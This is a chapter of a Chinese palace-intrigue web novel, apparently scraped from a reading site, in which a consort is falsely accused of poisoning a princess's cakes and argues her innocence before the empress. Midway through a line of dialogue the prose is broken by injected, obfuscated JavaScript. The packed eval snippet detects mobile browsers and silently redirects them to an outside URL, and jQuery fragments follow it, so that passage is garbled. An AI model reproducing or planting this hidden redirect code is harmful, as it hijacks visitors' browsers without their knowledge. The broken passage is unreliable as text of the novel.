123读书网 > 都市小说 > 纤手破新橙 > 41. 第四十一章
    晴雨阁的大门被福宁宫的人强行推开时,于少微正在和文淑妃交流最近得到的情报,喧杂的人声闹到怡春宫外,被打扰的两人同时皱眉。


    “来个人进来。”文淑妃高声道。


    内殿的门被推开一条缝,守在门外的宫人缩着肩膀钻进来,低头等着淑妃问话。


    “外头何事喧哗?敢在怡春宫门前放肆。”文淑妃皱眉。


    嘈杂的声音透过门缝传了进来,于少微侧耳细辨片刻,迟疑道:“怎么听着像是来找我的?”


    那小宫人刚要开口回话,殿外突然传来一阵急促的脚步声,槐序散着半缕发丝,掀起帘子就闯了进来,往日里总是规整的发髻都歪了,一双杏眼瞪得溜圆,直直扑到于少微面前。


    “娘娘!”她声音发颤。


    于少微先不着痕迹地瞥了眼文淑妃才转向槐序:“慌什么?慢慢说。”


    槐序看懂了主子的示意,飞快地摇了摇头,声音陡然拔高:“是福宁宫的人!带着德妃娘娘的令牌,嚷嚷说婕妤您下毒陷害皇嗣!”


    “什么?!”于少微惊得浑身一颤,手肘不慎撞翻了手边的茶盏,滚烫的茶水顺着桌沿蜿蜒而下,溅在她碧色的宫裙上,她像全然不觉般,目光下意识看向殿门外那片晃动的人影。


    “你今日做了什么?为什么德妃会指认你下毒?”文淑妃是最快反应过来的,她朝自己的宫人使了个眼色,示意她带人将门外的人拖住,又抬手将茶盏扶正,递了条锦帕给于少微。


    “你先擦擦。”


    于少微面色惨白如纸,她一面接过锦帕,一面低声道:“昨日六皇子像我讨要糕点,我今日做了做好后就差青阳送了过去,之后便直接来您这儿了,连宫门都没再出过半步。”


    “定是遭人构陷了。”文淑妃眉头拧成川字,指尖在茶案上轻轻叩着,“不过你先别慌,此时若真是你所为,未免太过显眼,不会有人相信的,德妃是个聪明人,她定然也是想到了这点,才叫宫人来找你去问话,不然来的就会是陛下身边的禁军了。”


    “我……”文淑妃的话并没有安慰到于少微,她现在脑子一片空白,整个人像被狂风卷过的秋叶,软软地靠在玫瑰椅上,指尖掐着桌沿才勉强稳住身形,声音发飘


    “谁在害我……谁会害我?!”她掐着桌沿喃喃,努力回想着与自己有过节的人。


    文淑妃也在思索,忽然两人目光撞在一处,一个答案同时从齿间溢出


    “皇贵妃!”


    “谢凝华。”


    “定是她察觉我们近来走得太近,起了疑心。”文淑妃的声音里终于带上了几分焦虑,于少微却猛地抬头,语速飞快:“不对!若她真识破了我们的计划,绝不会只做这些!这分明是她没抓到实据,先拿我开刀试探!”


    文淑妃一怔,随即抚着胸口舒了口气:“你说得对,是我慌了神。”


    接连的惊悸反而让于少微冷静下来,她抬手按了按发紧的太阳穴,对槐序吩咐道:“你从侧门溜出去,去未央宫请皇后娘娘……”


    “不必。”文淑妃抬手打断,“德妃肯定派人去请皇后了,未央宫与福宁宫离得近,眼下说不定皇后已经到福宁宫了。”


    于少微点头,语速加快:“那你去找青阳,再带人把晴雨阁的门窗都封死,每个角落都守紧了,有任何可疑人等立刻拿下。”


    “锦书,你带四个身手好的太监,跟着一起去晴雨阁。”文淑妃随即补充,锦书领命,转身就与槐序一同快步离去,殿内瞬间安静下来。


    于少微望着文淑妃,声音里带着一丝恳切:“今日之事,多谢娘娘。还请娘娘……陪我走一趟福宁宫。”她说着便要起身,可双腿早已发麻,刚站直就一阵发软,竟又跌回了椅上。


    文淑妃见状,嗤笑一声:“你就这点能耐?前些日子在我面前不是挺狂的吗?”


    于少微满脸苦涩,扶着桌沿再次尝试站起,一只细白的手突然伸到了她面前,她抬眼望去,文淑妃并未看她,侧脸线条冷硬,微撇的嘴角挂着一丝若有若无的轻蔑,可那只手却稳稳地停在她眼前。


    于少微迟疑着将手放上去,刚一触碰,就被对方牢牢攥住手腕,一股力道从手臂传来,将她稳稳拉了起来。


    “谢谢娘娘。”她脸色依旧苍白,勉强扯出一个比哭还难看的笑容。


    “走吧,别让德妃等急了。”文淑妃没看她,握着她手腕的手却微微松了些,转而勾住她的臂弯,两人并肩跨过怡春宫的门槛,迎向那片越来越近的人影。


    *


    福宁宫


    “此毒名唤川乌,勿食者会出现恶心呕吐、腹泻、头晕眼花等一系列症状。”太医对着上座的德妃和陈皇后解释道。


    “娘娘您看到了吧,有人要害我的孩儿!”德妃紧紧搂着着亓珈,声音凄切。


    陈皇后端坐在紫檀木椅上,她抬手拍了拍德妃的手背,声音带着不容置疑的威严:“你放心,残害皇嗣乃是重罪,本宫与皇上必定查个水落石出,还你和三公主一个公道。”


    话音刚落,她锐利的目光扫过阶下侍立的宫人,眉峰一蹙:“于婕妤呢?传她即刻到福宁宫回话!”


    “回皇后娘娘,”一个小太监慌忙跪禀,“去晴雨阁传信的人说于婕妤不在宫中,奴才们已经四处去寻,方才来报,说于婕妤与淑妃娘娘已经在来的路上了。”


    回答的宫人话音未落,就看见于少微与文淑妃的身影出现在殿门外。她没等宫人引路,径直穿过殿中侍立的人群,“扑通”一声跪在了皇后与德妃面前,声音异常坚定:“皇后娘娘,德妃娘娘,此事与臣妾无关,不是臣妾做的!”


    “你可承认这糕点是你制作然后派人送来?”皇后严厉道。


    “糕点确是臣妾亲手所做,”于少微伏下身,声音虽轻却稳,“但送出前绝无毒物!臣妾宫中的侍女青阳可以作证,她提着食盒离开晴雨阁时,亲手检查过每一块糕点,绝无被动过手脚的痕迹。”


    她顿了顿,抬起头,目光清亮地扫过殿中众人:“况且,臣妾就算有天大的胆子,也不会用如此蠢笨的法子,在自己亲手做的点心里下毒,与自投罗网有何区别?”


    “既如此,便传青阳上殿。”陈皇后朝殿外扬声道。


    可没过多久,传信的太监却脸色惨白地跑了回来:“回、回娘娘,青阳姑娘回去后便去浣洗衣物,谁知途中失足跌进了御水河,被人救上来时已经昏迷不醒,太医说……说能不能醒还不好说。


    于少微的心猛地一沉,像坠了块冰砣,青阳她——不对!唯一的证人突然出事,这绝非巧合,分明是有人在背后早做了安排,要断她的后路!


    “无人证,无对证。”一直静坐在侧首的谢皇贵妃突然开口,福宁宫的人来找皇后时,她恰巧也在未央宫,听闻福宁宫出事,便跟着一同过来了。她执起茶盏抿了一口,语气轻飘飘的,“于婕妤这话说得再动听,也是空口无凭。”


    “皇后娘娘,青阳只是昏迷,并非……”于少微急忙抬头辩解。


    “住口。”谢皇贵妃冷冷打断她,“青阳本就是你宫里的人,她的话岂能作数?就算她醒了,说的也是你的吩咐,又有什么可信度?”


    她转头看向陈皇后,“娘娘您说是不是这个理?拿不出实际证据,于婕妤便是这桩案子的第一嫌疑人,断不能轻饶。”


    陈皇后没有接她的话,目光依旧落在于少微身上,眼底藏着一丝不易察觉的担忧,语气却依旧平静:“除了青阳,你还有其他证据能证明自己的清白吗?”


    于少微的心彻底沉了下去。事发突然,她仓促之间哪里能准备什么证据?唯一能确定的,是这一切必定与谢凝华有关,可她又没有半分实据能指证皇贵妃!她紧咬着下唇,指尖掐进掌心。


    “怎么?说不出来了?”谢皇贵妃的声音带着几分讥诮。


    就在陈皇后微微叹气,似要下旨之时,一直缩在德妃怀里的亓珈突然抬起小脑袋,清脆的嗓音打破了殿内的死寂:“母后!儿臣不相信于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036522|191471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘娘会害我!于娘娘每次做的糕点都给我留最好看的,她不会害我的!”


    这话一出,殿内众人齐齐一愣,谢皇贵妃最先反应过来,放下茶盏,语气亲昵地对亓珈道:“我的小公主,你年纪还小,不懂人心险恶,有些人表面笑得和善,背地里却藏着蛇蝎心肠呢。”


    亓珈不喜欢她这副盛气凌人的模样,皱着小眉头别过脸,重新缩进德妃怀里,闷闷地哼了一声。


    一直沉默的德妃这时终于动了动:“皇后娘娘,臣妾也觉得此事有几分蹊跷。昨日在文华殿的廊下,是辙儿亲口向于婕妤讨要的点心,她若真想下毒,断不会选在今日送过来,这般明显,岂不是自寻死路?”


    “哦?德妃这话是什么意思?”陈皇后眼中闪过一丝亮光,追问一句。


    德妃却疲惫地摆了摆手,低头抚摸着女儿的发丝:“臣妾只是觉得时机太过可疑,并非要为于婕妤开脱。此事事关臣妾孩儿的性命,臣妾不敢徇私,还请娘娘秉公处置,查清真相。”


    “这是自然。”陈皇后颔首,刚要再问于少微,却见于少微抬起头,目光灼灼:“皇后娘娘,臣妾恳请查看那碟剩余的糕点。”


    “准。”


    宫人捧着食盒上前,于少微仔细翻看那些糕点,指尖拂过表面的白霜,突然停住动作。她抬头时,眼中已多了几分笃定:“娘娘明鉴!这毒粉只撒在糕点表面,白霜之下的糕体完好无损。若臣妾真想下毒,定会在和面时便将毒粉揉进去,如此才能确保毒发,也更不易被察觉,岂会这般草率地撒在表面?”


    她顿了顿,声音陡然提高几分:“更何况,臣妾与德妃娘娘素无恩怨,五殿下与六殿下也关系融洽,三公主向来喜欢臣妾做的点心,臣妾也经常与公主一起玩耍,无论如何臣妾并无下毒的动机啊!”


    “于婕妤说得不无道理。”陈皇后沉吟道。


    “说得再有道理又如何?没有实际的证据就都是空话!”谢皇贵妃立刻出声反驳,“皇后娘娘,残害皇嗣非同小可,万不能因她几句狡辩就掉以轻心!为保皇嗣安全,理应先将她关押起来,严加审问!”


    “谢姐姐这话就偏颇了。”从来时就一直沉默的文淑妃突然开口,她目光平静地迎上谢皇贵妃的视线,“下毒一事处处存疑,唯一的证人昏迷不醒,此时便定于婕妤的罪,未免太过仓促。臣妾提议,不如先将青阳接入太医院悉心诊治,等她醒后问清经过,再做定论。至于于婕妤,可暂禁足宫中,派人看守,既不委屈她,也能让众人安心,娘娘以为如何?”


    “不行!”皇贵妃出声阻止,“此等毒妇,还留着做甚?”


    “事情还没查清楚,谢姐姐就这么着急给人定罪了?难道你是知道什么内情?既然如此也赶紧拿出来和大家说道说道,也好早日结案,还后宫一片清静。”文淑妃毫不客气地呛了回去。


    ““淑妃如此维护于婕妤怕才是心里有鬼吧,你与于少微近日走得极近,怕是早就串通一气了吧?说不定这下毒的主意,还有你的份!”


    文淑妃与于少微飞快对视一眼——果然是她!


    “皇贵妃慎言!”文淑妃脸色一沉,“饭可以乱吃,话却不能乱讲!您说臣妾串通于婕妤,可有证据?若拿不出证据,便是诬陷后宫妃嫔,此事传到皇上耳中,您担待得起吗?”


    “你——”


    “够了!”陈皇后猛地拍了下扶手,“吵吵嚷嚷,成何体统!”


    殿内瞬间鸦雀无声,文淑妃低低朝皇贵妃翻了个白眼,垂眸不再看她,皇贵妃一脸不忿,将目光转向皇后,还欲再劝。


    就在这时,一直沉默的德妃突然开口:“皇后娘娘,臣妾觉得淑妃娘娘的提议可行,只不过为了避嫌,禁足的地点换个地方吧。”


    陈皇后沉吟片刻,终于扬声道:“传本宫旨意,将于婕妤暂禁宁心苑,派人严加看守,不得苛待。另将青阳接入太医院,全力救治,待她醒后即刻回话!在此之前,任何人不得擅自审问于婕妤,违者按宫规处置!”